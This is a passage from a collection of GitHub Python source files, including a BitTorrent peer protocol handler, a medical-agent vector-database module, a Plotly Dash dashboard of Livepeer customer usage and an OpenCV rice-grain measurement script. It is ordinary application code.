length=REQUEST_PIECE_SIZE):\n self.transport.write(b'\\x00\\x00\\x00\\x0D\\x06')\n self.transport.write(struct.pack('>III', index, begin, length))\n self._current_request = (index, begin, length)\n\n def _handle_keep_alive(self, payload=None):\n pass\n\n def _handle_choke(self, payload=None):\n self.peer_choking = True\n\n def _handle_unchoke(self, payload=None):\n self.peer_choking = False\n self.do_download()\n\n def _handle_interested(self, payload=None):\n self.peer_interested = True\n if self.am_choking: self._send_unchoke()\n\n def _handle_not_ineteresetd(self, payload=None):\n self.peer_interested = False\n\n def _handle_have(self, payload):\n b = struct.unpack('>I', payload)\n self.peer_bitfield.add(b[0])\n if self._currently_downloading_block is None:\n self.do_download()\n\n def _handle_bitfield(self, payload):\n ba = bitarray.bitarray(endian=\"big\")\n ba.frombytes(payload)\n self.peer_bitfield = set(i for i, e in enumerate(ba) if e)\n self.do_download()\n\n def _handle_request(self, payload):\n index, begin, length = struct.unpack('>III', payload)\n if (\n self.am_choking or\n length > REQUEST_PIECE_SIZE or\n length <= 0 or\n begin >= self._torrent.piece_length\n ):\n return\n if self._current_index != index:\n self._current_piece = self._torrent.read_piece(index)\n self._current_index = index\n self.transport.write(struct.pack('>IBII', 9+length, 7, index, begin))\n self.transport.write(self._current_piece[begin:begin+length])\n\n def _handle_piece(self, payload):\n index, begin = struct.unpack_from('>II', payload)\n if self._current_request != (index, begin, len(payload)-8):\n self._send_request(*self._current_request)\n\n target_piece_size = self._torrent.length_of_piece(self._currently_downloading_block)\n self._buffer_piece += payload[8:]\n if len(self._buffer_piece) != target_piece_size:\n nr = self._currently_downloading_block\n offset = len(self._buffer_piece)\n length = min(REQUEST_PIECE_SIZE, target_piece_size - offset)\n self._send_request(nr, offset, length)\n elif self._torrent.write_piece(self._currently_downloading_block, self._buffer_piece):\n self._buffer_piece = b''\n for protocol in self._torrent.current_protocols:\n protocol._send_have(index)\n logging.info(\"\\nDownloaded %d from %s\" % (self._currently_downloading_block, self.transport.getPeer()))\n self.do_download()\n else:\n self._buffer_piece = b''\n print(\"Block download failed\")\n #TODO: RESTART DOWNLOADING THIS BLOCK AGAIN\n\n def _handle_ltep(self, payload=None):\n if payload[0] == 0:\n self._handle_ltep_handshake(payload[1:])\n if payload[0] == 1:\n self._torrent.lndp.handle(payload[1:], self)\n # print(\"Received LTEP msg\")\n\n def _send_ltep_handshake(self):\n if self.type == 0 and not self._is_lndp:\n msg_d = {'m': {}}\n else:\n msg_d = {'m':{'dt_lndp': 1}}\n msg = dtoc_bencode.bencode(msg_d)\n self.transport.write(struct.pack('>I', len(msg)+2))\n self.transport.write(b'\\x14\\x00')\n self.transport.write(msg)\n\n def send_ltep(self, msg_protocol, payload):\n msg_id = self.peer_ltep.get(msg_protocol, -1)\n if msg_id == -1: raise Exception(\"No support for ltep %s\"%msg_protocol)\n self.transport.write(struct.pack('>I', len(payload)+2))\n self.transport.write(b'\\x14')\n self.transport.write(struct.pack('>B', msg_id))\n self.transport.write(payload)\n\n def _handle_ltep_handshake(self, msg):\n if self.type == 1: self._send_ltep_handshake()\n msg = dtoc_bencode.bdecode(msg)\n self.peer_ltep = {k.decode('utf-8'):int(v) for k,v in msg[b'm'].items()}\n if self.type == 1 and 'dt_lndp' in self.peer_ltep:\n self._torrent.lndp.send_handshake(self)\n\n def _handle_invalid(self, payload=None):\n if (self._torrent.verbose > 10):\n print(self._torrent.name, \"Invalid packet. Losing conneciton\")\n self.transport.loseConnection()\n","repo_name":"DhruvPatel01/dtoc","sub_path":"PeerProtocol.py","file_name":"PeerProtocol.py","file_ext":"py","file_size_in_byte":10794,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"25146739348","text":"import os\nimport pickle\nfrom config import logger, knowledge_target_folder, knowledge_source_folder\nfrom config import args\nimport json, datetime\nimport csv\nfrom itertools import islice\nfrom utils import set_visible_gpu\nimport requests\nimport numpy as np\nfrom modelscope.utils.constant import Tasks\nfrom modelscope.pipelines import pipeline\n\n\nlogger.info('vector database sever start')\nembedding_model_name = args['embedding_model_name']\n\n\ndef load_model(name, _):\n if name == 'corom-chinese-medical':\n model_id = \"damo/nlp_corom_sentence-embedding_chinese-base-medical\"\n pipeline_se = pipeline(Tasks.sentence_embedding, model=model_id)\n else:\n raise ValueError('')\n return pipeline_se\n\n\n#\n# def invoke_bge_reranker_large(model, json_post_list):\n# text_list = json_post_list.get('text')\n# embedding = model.encode(text_list)\n# arr_list = embedding.tolist()\n# json_str = json.dumps(arr_list)\n# time = datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n# answer = {\n# \"embedding\": json_str,\n# \"status\": 200,\n# \"time\": time\n# }\n# log = \"[\" + time + \"] Embedding Generate Success\"\n# print(log)\n# return answer\n#\n\ndef invoke_text_embedding_model(model_name: str, text_list):\n if model_name == embedding_model_name:\n if model_name == 'corom-chinese-medical':\n response = invoke_corom(embedding_model, text_list)\n else:\n raise ValueError('')\n else:\n time = datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n log = \"[\" + time + \"] Embedding Generate Failed\"\n logger.info(log)\n response = []\n return response\n\n\ndef invoke_corom(model, text_list):\n embedding = model({'source_sentence': text_list})['text_embedding']\n arr_list = embedding.tolist()\n time = datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n log = \"[\" + time + \"] Embedding Generate Success\"\n logger.info(log)\n return arr_list\n\n\n# def query_embedding_server(data, model_name):\n# target_port = args['embedding_server_port']\n# url = \"http://127.0.0.1:{}/text_embedding/query/{}\".format(target_port, model_name)\n# headers = {'Content-Type': \"application/json\"}\n# payload = json.dumps({'text': data})\n# x = requests.post(url, headers=headers, data=payload)\n# response = x.json()\n#\n# embedding = json.loads(response['embedding'])\n# return embedding\n\n\ndef initialize():\n logger.info(\"initialize start\")\n file_list = os.listdir(knowledge_source_folder)\n target_folder = os.path.join(knowledge_target_folder, embedding_model_name)\n os.makedirs(target_folder, exist_ok=True)\n for file in file_list:\n base_name = \".\".join(file.split('.')[0:-1])\n pkl_file = os.path.join(target_folder, base_name+'.pkl')\n if not os.path.exists(pkl_file):\n source_file = os.path.join(knowledge_source_folder, file)\n generate_embedding_db(embedding_model_name, source_file, pkl_file)\n logger.info(\"initialize success\")\n\n\ndef generate_embedding_db(model_name, source, target, batch_size=2048):\n data_list = []\n embedding_list = []\n with open(source, 'r', encoding='utf-8-sig') as f:\n csv_reader = csv.reader(f)\n for line in islice(csv_reader, 1, None):\n key, content = line\n data_list.append([key, content])\n\n\n for i in range(len(data_list)//batch_size+1):\n if i < len(data_list) // batch_size:\n batch_data = data_list[i*batch_size: (i+1)*batch_size]\n else:\n batch_data = data_list[i*batch_size:]\n\n batch_key = [item[0] for item in batch_data]\n embedding = invoke_text_embedding_model(model_name, batch_key)\n for item in embedding:\n embedding_list.append(item)\n time = datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n logger.info('embedding generating: {}'.format(time))\n\n embedding_matrix = np.array(embedding_list)\n with open(target, 'wb') as f:\n pickle.dump({\"vector\": embedding_matrix, \"knowledge\": data_list}, f)\n\n\ndef load_vector():\n full_data = {}\n target_folder = os.path.join(knowledge_target_folder, embedding_model_name)\n for file in os.listdir(target_folder):\n base_name = \".\".join(file.split('.')[0:-1])\n file_name = os.path.join(target_folder, file)\n full_data[base_name] = pickle.load(open(file_name, 'rb'))\n\n full_mat = []\n knowledge_map_dict = {}\n idx = 0\n for name in full_data:\n vectors = full_data[name]['vector']\n knowledge_list = full_data[name]['knowledge']\n for vec, knowledge in zip(vectors, knowledge_list):\n full_mat.append(vec)\n knowledge_map_dict[idx] = {'key': knowledge[0], \"content\": knowledge[1], 'doc': name}\n idx += 1\n\n vectors = np.stack(full_mat, axis=0)\n db = {'vectors': vectors, 'knowledge_map': knowledge_map_dict}\n return db\n\n\ndef get_top_n_idx(one_d_array, query_type, knowledge_list, n=1):\n target_list = []\n for i, item in enumerate(one_d_array):\n target_list.append([i, item])\n target_list = sorted(target_list, key=lambda x:x[1], reverse=True)\n\n target_idx = None\n for item in target_list:\n idx = item[0]\n doc = knowledge_list[idx]['doc']\n if query_type == \"agent_knowledge\" and doc == \"agent_knowledge\":\n target_idx = idx\n break\n # 之所以这么写是因为background_knowledge的doc name存在差异\n if query_type == 'background_knowledge' and doc != 'agent_knowledge':\n target_idx = idx\n break\n assert target_idx is not None\n return target_idx\n\n\ngpu_list = set_visible_gpu(args['visible_gpu_ids'])\nembedding_model = load_model(embedding_model_name, gpu_list)\n# initialize process\nlogger.info('start initialize')\ninitialize()\nlogger.info('vector initialize success')\nvector_db = load_vector()\nlogger.info('vector_db load success')\n\n\ndef query_background_knowledge(query, model_name, query_type):\n assert isinstance(query, str)\n assert query_type == 'agent_knowledge' or query_type == 'background_knowledge'\n\n embedding_mat, knowledge_list = vector_db['vectors'], vector_db['knowledge_map']\n query_embedding = np.squeeze(np.array(invoke_text_embedding_model(model_name, [query])))\n embedding_norm, query_norm = np.linalg.norm(embedding_mat, axis=1), np.linalg.norm(query_embedding)\n similarity_mat = np.matmul(embedding_mat, query_embedding) / (embedding_norm * query_norm)\n\n target_idx = get_top_n_idx(similarity_mat, query_type, knowledge_list)\n prompt = knowledge_list[target_idx]['content']\n return prompt\n","repo_name":"DanielSun94/medical_agent","sub_path":"vec_db.py","file_name":"vec_db.py","file_ext":"py","file_size_in_byte":6665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"19817101609","text":"# !/usr/bin/env python\n# coding=utf-8\nimport numpy as np\nimport matplotlib.pyplot as plt\nx = np.arange(0, 5)\nplt.figure() # 设置白板\nplt.subplot(2, 1, 1) # 第一个子图在2*1的第1个位置\nplt.plot(x, x*x)\nplt.subplot(2, 2, 3) # 第二个子图在2*2的第3个位置\nplt.plot(x, 1/x)\nplt.subplot(224) # 第三个子图在2*2的第4个位置\nplt.plot(x, x*x*x)\nplt.show()\n","repo_name":"cnnbevan/PyStu","sub_path":"S06/matplotlibSubplotsDemo.py","file_name":"matplotlibSubplotsDemo.py","file_ext":"py","file_size_in_byte":392,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"38468173411","text":"###----------------------LIBRARIES----------------------------###\nfrom ast import In\nfrom msilib.schema import Component\nfrom tarfile import USTAR_FORMAT\nimport pandas as pd\nimport numpy as np\nimport datetime as dt\nimport plotly.express as px # (version 4.7.0 or higher)\nimport plotly.graph_objects as go\nimport dash_bootstrap_components as dbc # pip install dash_bootstrap_components\nfrom dash import Dash, dcc, html, Input, Output, State # pip install dash (version 2.0.0 or higher)\n\n\n###-----------------LOADING & PREPARING DATA----------------------------###\n#Setting a DataFrame\ndf = pd.read_csv('data.csv')\ndf.drop_duplicates(keep = 'first', inplace = True)\ndf.usage_date = df.usage_date.apply(lambda x: dt.datetime.strptime(x.split()[0], '%Y-%m-%d'))\ndf.user_created_date = df.user_created_date.apply(lambda x: dt.datetime.strptime(x.split()[0], '%Y-%m-%d')if x is not np.nan else x)\ndf = df.set_index('usage_date',drop = True)[['cust_id', 'source_duration', 'transcoded_duration', 'video_duration',\"user_created_date\"]].sort_index(ascending = True)\ndf['new_customer'] = df.user_created_date.apply(lambda x: True if x > df.index[-1] - dt.timedelta(days = 90)\n else False)\n\n\n\n###-------------------------------------- CONSTANTS -------------------------------------------------------###\nexternal_stylesheets = ['https://codepen.io/chriddyp/pen/bWLwgP.css']\napp = Dash(external_stylesheets=external_stylesheets)\n#app = Dash(__name__)\n\n# Standard Colors\ncolor_font = 'rgb(243,247,246)'\ncolor_background = 'rgb(31,38,48)'\ncolor_container = 'rgb(37,46,63)'\nclear_color_chart = 'rgb(38,254,184)'\ndark_color_chart = 'rgb(41,152,119)'\n\n# Chart Tamplate\nlayout = go.Layout(\n autosize=True,\n margin=dict(l=30, r=30, b=20, t=40),\n hovermode=\"closest\",\n grid = None,\n plot_bgcolor=color_background,\n paper_bgcolor=color_container,\n legend=dict(font=dict(size=10), orientation=\"h\"),\n title=\"Title Name\",\n font = dict(\n size = 12,\n color = color_font))\n\n#Filter paramters\n#Date Granularity - Dropdown List\ndate_granularity = {'Day': 'D', 'Month': 'M', 'Year': 'Y'}\n\n#end and start date\nstart_date = dt.date(2022,1,1)\nend_date = dt.date(2022,10,21)\n\n# Top N - Dropdown List\ntop = [5,10,15,20]\n###--------------------------------- DASH COMPONENTS - LAYOUT----------------------------------------###\n\napp.layout = html.Div([\n dcc.Store(id=\"aggregate_data\", data = [], storage_type = 'memory'),\n # empty Div to trigger javascript file for graph resizing\n html.Div(id=\"output-clientside\"),\n #Header\n html.Div(\n [\n html.Div(\n [\n html.Img(\n src=app.get_asset_url(\"logo.svg\"),\n id=\"plotly-image\",\n style={\n \"height\": \"80px\",\n \"width\": \"auto\",\n \"margin-bottom\": \"25px\",\n },\n )\n ],\n className=\"one-third column\",\n ),\n #Title\n html.Div(\n [\n html.Div(\n [\n html.H3(\n \"Livepeer Customer Usage\",\n style={\"margin-bottom\": \"0px\",\n \"margin-right\": \"300px\",\n \"align-items\":\"flex-start\",\n \"color\": \"rgb(38,254,184)\"},\n ),\n ]\n )\n ],\n className=\"one-half column\",\n id=\"title\")\n ],style = {'margin-top': '0%'}),\n #Filters division\n html.Div(\n [\n html.Div([\n #Date Picker\n html.P('Date Range', className = 'control_label'),\n dcc.DatePickerRange(\n id='my-date-picker-range',\n min_date_allowed= start_date,\n max_date_allowed = end_date,\n start_date = start_date,\n end_date= end_date,\n display_format = \"MM/DD/YYYY\",\n start_date_placeholder_text = \"MM/DD/YYYY\",\n style = {'width':'50%'},\n className = 'dcc_control'),\n\n #Date Granunality\n html.P(\"Date Granularity\", className = 'control_label'),\n dcc.Dropdown(\n id = 'granunality-drop',\n options= [{\"label\": i, \"value\": i} for i in ['Day','Month','Year']],\n value = 'Day',\n clearable = False,\n style = {'width':'60%'},\n className = 'dcc_control'),\n \n #Ranking\n html.P(\"Ranking Top Users\", className = 'control_label'),\n dcc.Dropdown(\n options = [{\"label\": i, \"value\": i} for i in top],\n id = 'rank-drop',\n clearable = False,\n value = 5,\n style = {'width':'30%'},\n className = 'dcc_control')],\n #Customize\n #html.P(\"Customers\", className = 'control_label'),\n #dcc.Dropdown(\n # id=\"customers-drop\",\n # options= [{\"label\": i, \"value\": i} for i in list(set(df.cust_id.to_list())) +['All']],\n # value = 'All',\n #clearable = False,\n #multi= False, \n #style = {'width':'50%'},\n #className=\"dcc_control\",\n #)\n #],\n className=\"pretty_container twelve columns\",\n id=\"cross-filter-options\"\n ) \n ] ),\n #Big Numbers Section\n html.Div([\n html.Div([\n html.Div\n ([],\n id=\"transcode\",\n className=\"mini_container\",\n ),\n html.Div(\n [],\n id=\"source\",\n className=\"mini_container\",\n ),\n html.Div(\n [],\n id=\"video\",\n className=\"mini_container\",\n )\n ],\n style = {'display': 'flex', 'width': '100%'},\n id=\"info-container\"\n \n ),\n ], style = {'display':'inline-block'}),\n \n #Tab Section\n html.Div([\n html.Div([\n dcc.Tabs([\n dcc.Tab(label = 'Transcoded Duration', value = 'transcoded_duration'),\n dcc.Tab(label = 'Source Duration', value = 'source_duration'),\n dcc.Tab(label = 'Video Duration', value = 'video_duration')\n ],\n id ='tabs',\n value = 'transcoded_duration',\n style = {'width': 'auto', 'margin': '12px'},\n className = \"pretty_container twelve columns\"),\n html.Div([\n \n ],\n id = 'tabs-content-graphs')\n\n ])\n ])\n])\n\n####-------------------------------- CONNECTING PLOTLY GRAPHS WITH DASH COMPONENTS--------------####\n# Date granunality, Date range, clients\n@app.callback( \n Output(component_id = \"aggregate_data\", component_property = 'data'),\n [Input(component_id = 'my-date-picker-range', component_property = 'start_date'),\n Input(component_id = 'my-date-picker-range', component_property = 'end_date'),\n Input(component_id = 'granunality-drop', component_property = 'value')]\n)\n\ndef data_filtered(start_date,end_date,time):\n \n df_filter = df.loc[start_date:end_date].to_period(date_granularity[time]).reset_index()\n df_filter = df_filter.reset_index(drop = True)\n df_filter.usage_date = df_filter.usage_date.apply(lambda x: x.to_timestamp())\n data_dict = df_filter.to_dict(orient = 'record')\n\n return data_dict\n\n#Big Numbers\n@app.callback(\n [Output('transcode', 'children'),\n Output('source', 'children'),\n Output('video', 'children')],\n [Input(\"aggregate_data\",'data')],prevent_initial_call=True)\n\ndef display_numbers(json_dict):\n #Converting Json dict to dataframe\n df = pd.DataFrame(json_dict)\n df = df.set_index('usage_date')\n # Metrics Accumulated\n df_total = df.sum(axis = 0, numeric_only = True)\n\n def format_num(text,numb):\n return html.Div([\n html.P(text, className = \"text-big-numbers\"),\n html.Br(),\n html.P(numb, className = \"big-numbers\"),\n ])\n def human_format(num):\n num = float('{:.3g}'.format(num))\n magnitude = 0\n while abs(num) >= 1000:\n magnitude += 1\n num /= 1000.0\n return '{}{}'.format('{:f}'.format(num).rstrip('0').rstrip('.'), ['', 'K', 'M', 'B', 'T'][magnitude])\n\n transcode = format_num(\"Transcoded Duration\",human_format(df_total['transcoded_duration']))\n source = format_num(\"Source Duration\",human_format(df_total['source_duration']))\n video = format_num(\"Video Duration\",human_format(df_total['video_duration']))\n\n return transcode, source, video\n\n\n#Tabs, Top customers\n@app.callback(\n Output(component_id = 'tabs-content-graphs', component_property = 'children'),\n [Input(component_id = 'tabs', component_property = 'value')],\n [Input(component_id = 'rank-drop', component_property = 'value')],\n [Input(component_id = \"aggregate_data\", component_property = 'data')],prevent_initial_call=True)\n\ndef render_content(tab,N,json_dict):\n\n #Converting Json dict to dataframe\n df = pd.DataFrame(json_dict)\n df = df.set_index('usage_date')\n\n#Defining Graph Objects\n # Metrics Over Time\n df_overtime = df.groupby(by = 'usage_date').agg({'source_duration': np.sum,\n 'transcoded_duration': np.sum,\n 'video_duration': np.sum})\n fig_overtime = go.Figure(data = [go.Bar(x = df_overtime.index, y = df_overtime[tab])], layout = layout)\n fig_overtime.update_traces(marker_color = clear_color_chart)\n fig_overtime.update_layout(title_text='{} - Over Time '.format(\" \".join(tab.split('_')).capitalize()))\n\n # Metrics Total Running\n df_cumsum = df.groupby(by = 'usage_date').agg({'source_duration': np.sum,\n 'transcoded_duration': np.sum,\n 'video_duration': np.sum}).cumsum(axis =0) \n fig_total_running= go.Figure(layout = layout)\n fig_total_running.add_trace(go.Scatter(x =df_cumsum.index,y = df_cumsum[tab], fill='tozeroy'))\n fig_total_running.update_traces(marker_color= clear_color_chart, marker_line_color= dark_color_chart,\n marker_line_width=1.5, opacity=0.6)\n fig_total_running.update_layout(title_text='{} - Total Running '.format(\" \".join(tab.split('_')).capitalize()))\n\n # Metrics Variation Overtime\n df_pct_change = df.groupby(by = 'usage_date').agg({'source_duration': np.sum,\n 'transcoded_duration': np.sum,\n 'video_duration': np.sum}).pct_change().drop(df.index[0],axis = 0).replace(np.inf,1)\n fig_pct_change = go.Figure(layout= layout)\n fig_pct_change.add_trace(go.Scatter(x = df_pct_change.index, y = df_pct_change[tab], mode = 'lines', name = 'lines'))\n fig_pct_change.update_traces(marker_color = clear_color_chart)\n fig_pct_change.update_layout(title_text='{} - Percent Variation Over Time'.format(\" \".join(tab.split('_')).capitalize()))\n\n # Histogram\n fig_hist = go.Figure(data = [go.Histogram(x = df[tab], nbinsx = 200)], layout = layout)\n fig_hist.update_traces(marker_color = dark_color_chart)\n fig_hist.update_layout(title_text='{} - Histogram of Customer Usage'.format(\" \".join(tab.split('_')).capitalize()))\n\n #Ranking Chart\n df_rank = df.groupby(by = 'cust_id').agg({'source_duration': np.sum,\n 'transcoded_duration': np.sum,\n 'video_duration': np.sum})[[tab]].sort_values(by =tab, ascending = False)\n df_top = df_rank.copy() \n df_top['ranking'] = range(1,len(df_top.index) +1)\n df_top = df_top.iloc[:N,:].reset_index().assign(rank_id = lambda x: x['ranking'].apply(lambda x: str(x) + ' - ') + x['cust_id'])\n colors = [dark_color_chart] * N\n colors[0] = 'crimson'\n fig_rank = go.Figure(data = [go.Bar(x = df_top['rank_id'], y = df_top[tab], marker_color = colors)], layout = layout)\n fig_rank.update_layout(title_text='Top {} Customers by {}'.format(N,\" \".join(tab.split('_')).capitalize()))\n\n #Ranking charts for future potencials\n #Dataframe for new clients - Clients who created their account within the last 3 months\n df_potencial = df.copy()\n df_new = df_potencial[df_potencial.new_customer == True]\n\n df_rank_new = df_new.groupby(by = 'cust_id').agg({'source_duration': np.sum,\n 'transcoded_duration': np.sum,\n 'video_duration': np.sum})[[tab]].sort_values(by =tab, ascending = False) \n df_rank_new ['ranking'] = range(1,len(df_rank_new.index) +1)\n df_rank_new = df_rank_new .iloc[:N,:].reset_index().assign(rank_id = lambda x: x['ranking'].apply(lambda x: str(x) + ' - ') + x['cust_id'])\n colors = [dark_color_chart] * N\n colors[0] = 'crimson'\n fig_rank_new = go.Figure(data = [go.Bar(x = df_rank_new['rank_id'], y = df_rank_new[tab], marker_color = colors)], layout = layout)\n fig_rank_new.update_layout(title_text='Top {} New Customers by {} (New customers in the past 3 months)'.format(N,\" \".join(tab.split('_')).capitalize()), title_font_size = 14)\n #Return Graphs \n return html.Div([\n html.Div([\n html.Div(\n [dcc.Graph(figure = fig_overtime,id=\"overtime-graph\",\n style = {'width':'auto',\n 'height': '100%',\n 'margin': '10px'})],\n ),\n html.Div(\n [dcc.Graph(figure = fig_rank, id=\"total-running-grapth\",style ={'width':'auto',\n 'height': '100%',\n 'margin': '10px'})],\n ),\n html.Div(\n [dcc.Graph(figure = fig_hist,id=\"total-running-grapth\",style ={'width':'auto',\n 'height': '100%',\n 'margin': '10px'})]\n ),\n ], className = 'six columns'),\n html.Div([\n html.Div(\n [dcc.Graph(figure = fig_total_running, id=\"overtime-graph\",style = {'width':'auto',\n 'height': '100%',\n 'margin': '10px'})],\n ),\n html.Div(\n [dcc.Graph( figure = fig_rank_new, id=\"total-running-grapth\",style ={'width':'auto',\n 'height': '100%',\n 'margin': '10px'})],\n ),\n html.Div(\n [dcc.Graph(figure = fig_pct_change, id=\"total-running-grapth\",style ={'width':'auto',\n 'height': '100%',\n 'margin': '10px'})]\n )\n ], className = 'six columns') \n ], className=\"pretty_container twelve columns\")\n\nif __name__ == '__main__':\n app.run_server(debug=True)","repo_name":"LimaRods/Livepeer-Customer-Usage","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":17066,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"11590336481","text":"import cv2\nimport numpy as np\nfrom matplotlib import pyplot as plt\nimport imutils\nfrom imutils import perspective\nfrom imutils import contours\nfrom scipy.spatial import distance as dist\n\ndef midpoint(ptA, ptB):\n return ((ptA[0] + ptB[0]) * 0.5, (ptA[1] + ptB[1]) * 0.5)\n\nprint (\"Starting\")\n\norig = cv2.imread ('C:/Users/abhia/Desktop/INFY U/data/photo3.jpg', cv2.IMREAD_UNCHANGED)\norig = cv2.resize(orig, (800, 600)) #resizing\norig2 = orig\norig3 = orig\n\nimg = cv2.imread ('C:/Users/abhia/Desktop/INFY U/data/photo3.jpg',0); # load in grayscale mode\nimg = cv2.resize(img, (800, 600)) #resizing\nimg = cv2.medianBlur (img, 5)\n\ncv2.imshow(\"Resized image\", img)\ncv2.waitKey(0)\n \n#imgg = cv2.bitwise_not(img);\n#cv2.imwrite(\"dstinvert.png\", imgg);\n#canny_edges = cv2.Canny(img,100,200)\n\n#imgg = cv2.medianBlur (img, 1)\nret, th1 = cv2.threshold (img, 127, 255, cv2.THRESH_BINARY)\nth2 = cv2.adaptiveThreshold (img, 255, cv2.ADAPTIVE_THRESH_MEAN_C, cv2.THRESH_BINARY, 119, 1)\nth3 = cv2.adaptiveThreshold (img, 255, cv2.ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY, 119, 1)\n\n#cv2.imshow('Th1',th1)\n#cv2.waitKey(0)\n\nkernel=cv2.getStructuringElement(cv2.MORPH_ELLIPSE,(9,9))\n#opening = cv2.morphologyEx(th3, cv2.MORPH_OPEN, kernel) \n\n#EDGE DETECTION using canny\n#using Canny\n#canny_edges = cv2.Canny(img,100,250)\n#canny_inv=cv2.bitwise_not(canny_edges)\n\n#OR Try this if it gives a better result in case we have bacckground noise...\nedged = cv2.Canny(img, 100, 250)\nedged = cv2.dilate(edged, None, iterations=1)\nedged = cv2.erode(edged, None, iterations=1)\n#edged = cv2.bitwise_not(edged);\ncv2.imshow('1st Edge detection',edged)\ncv2.waitKey(0)\n\n#### Size detection\n#contours, hierarchy = cv2.findContours (th3, cv2.RETR_TREE, cv2.CHAIN_APPROX_NONE)\n#xx=cv2.drawContours(th3, contours, 1, (0, 255, 0), 7)\n\n#### OR try this\ncontours = cv2.findContours(edged.copy(), cv2.RETR_EXTERNAL,cv2.CHAIN_APPROX_SIMPLE)\n#conversion into correct format using imutils.grab_contours()\ncontours = imutils.grab_contours(contours)\nxx=cv2.drawContours(orig, contours, -1, (0, 255, 0),1)\n\n#cv2.imshow(\"Contours\", xx)\n#cv2.waitKey(0)\n\nprint(len(contours))\n########################################################\n########################################################\n\n#1. find the defects in convex hull with respect to the rice contours\nfor contour in contours:\n #epsilon = 0.1 * cv2.arcLength(contour, True)\n #approx = cv2.approxPolyDP(contour, epsilon, True)\n #x, y, w, h = cv2.boundingRect(approx)\n hull = cv2.convexHull(contour, returnPoints=False)\n defects = cv2.convexityDefects(contour, hull)\n #yy=cv2.drawContours(orig,contours,0,(200,0,0),1)\n #print(defects)\n area = cv2.contourArea(contour)\n #print(area)\n j=0\n if np.any(defects!=None):\n for i in range(defects.shape[0]):\n s,e,f,d = defects[i,0]\n start = tuple(contour[s][0])\n end = tuple(contour[e][0])\n far = tuple(contour[f][0])\n #print(far, d)\n if d>1000 and area>800: \n cv2.line(orig,start,end,[200,100,30],1)\n cv2.circle(orig,far,5,[100,0,255],-1)\n if j==0:\n far2=far\n j=j+1\n if j==1:\n #cv2.line(edged,far,far2,[255,255,255],5)\n cv2.line(edged,far,far2,[0,0,0],5)\n cv2.circle(edged,far,5,[0,0,0],-1)\n #print(far)\n #print('next')\n #cv2.drawContours(edged,contours,0,(200,0,0),1)\n \ncv2.imshow('1.contours with defects and convex hull',orig)\ncv2.waitKey(0)\n\ncv2.imshow('edge image after drawing',edged)\ncv2.waitKey(0)\n#########################################################\n#########################################################\n\n#img = cv2.medianBlur (img, 3)\n#edged = cv2.Canny(img, 100, 250)\n#edged = cv2.dilate(edged, None, iterations=1)\n#edged = cv2.erode(edged, None, iterations=1)\n\n#cv2.imshow('Canny edge detection 2',edged)\n#cv2.waitKey(0)\n\n#edge detection by laplacian and drawing2\nlaplacian = cv2.Laplacian(edged,cv2.CV_64F) \n\n#cv2.imshow('edge detection by laplacian and drawing2',laplacian)\n#cv2.waitKey(0)\n\n#edged = cv2.Canny(img, 100, 250)\n#cv2.imshow('Canny edge detection after laplacian and drawing2',edged)\n#cv2.waitKey(0)\n\ncontours = cv2.findContours(edged, cv2.RETR_EXTERNAL,cv2.CHAIN_APPROX_SIMPLE)\ncontours = imutils.grab_contours(contours)\nyy=cv2.drawContours(orig3, contours, -1, (0, 255, 0),1)\n\ncv2.imshow(\"Contours 2nd time\", yy)\ncv2.waitKey(0)\n\n#############################################################\n\npixelsPerMetric = None\ni=0\nfor cnt in contours:\n area = cv2.contourArea(cnt)\n print(area)\n if area>10:\n #rect = cv2.minAreaRect(ellipse)\n rect = cv2.fitEllipse(cnt)\n #print(rect)\n im = cv2.ellipse(orig,rect,(255,10,0),2)\n #cv2.imshow(\"ellipsce contours\", im)\n #cv2.waitKey(0)\n if (rect[1][0] != 0) and (rect[1][1] != 0):\n if rect[1][1] >= rect[1][0]:\n ratio=rect[1][1]/rect[1][0]\n else:\n ratio=rect[1][0]/rect[1][1] \n print(ratio)\n box = cv2.boxPoints(rect)\n #print('box',box)\n ###converting tuples to int values\n box = np.int0(box)\n #print('np.into(box)',box)\n \n # unpack the ordered bounding box, then compute the midpoint\n # between the top-left and top-right coordinates, followed by\n # the midpoint between bottom-left and bottom-right coordinates\n (tl, tr, br, bl) = box\n (tltrX, tltrY) = midpoint(tl, tr)\n (blbrX, blbrY) = midpoint(bl, br)\n\n # compute the midpoint between the top-left and top-right points,\n # followed by the midpoint between the top-righ and bottom-right\n (tlblX, tlblY) = midpoint(tl, bl)\n (trbrX, trbrY) = midpoint(tr, br)\n\n # draw the midpoints on the image\n cv2.circle(orig, (int(tltrX), int(tltrY)), 5, (255, 0, 0), -1)\n cv2.circle(orig, (int(blbrX), int(blbrY)), 5, (255, 0, 0), -1)\n cv2.circle(orig, (int(tlblX), int(tlblY)), 5, (255, 0, 0), -1)\n cv2.circle(orig, (int(trbrX), int(trbrY)), 5, (255, 0, 0), -1)\n\n # draw lines between the midpoints\n cv2.line(orig, (int(tltrX), int(tltrY)), (int(blbrX), int(blbrY)),(255, 0, 255), 2)\n cv2.line(orig, (int(tlblX), int(tlblY)), (int(trbrX), int(trbrY)),(255, 0, 255), 2)\n\n # compute the Euclidean distance between the midpoints\n dA = dist.euclidean((tltrX, tltrY), (blbrX, blbrY))\n dB = dist.euclidean((tlblX, tlblY), (trbrX, trbrY))\n\n # if the pixels per metric has not been initialized, then\n # compute it as the ratio of pixels to supplied metric\n # (in this case, inches)\n if pixelsPerMetric is None:\n pixelsPerMetric = dB / 1\n\n # compute the size of the object\n dimA = dA / pixelsPerMetric\n dimB = dB / pixelsPerMetric\n\n # draw the object sizes on the image\n cv2.putText(orig, \"{:.1f}in\".format(dimA),(int(tltrX - 15), int(tltrY - 10)), cv2.FONT_HERSHEY_SIMPLEX,0.65, (255, 255, 255), 1)\n cv2.putText(orig, \"{:.1f}in\".format(dimB),(int(trbrX + 10), 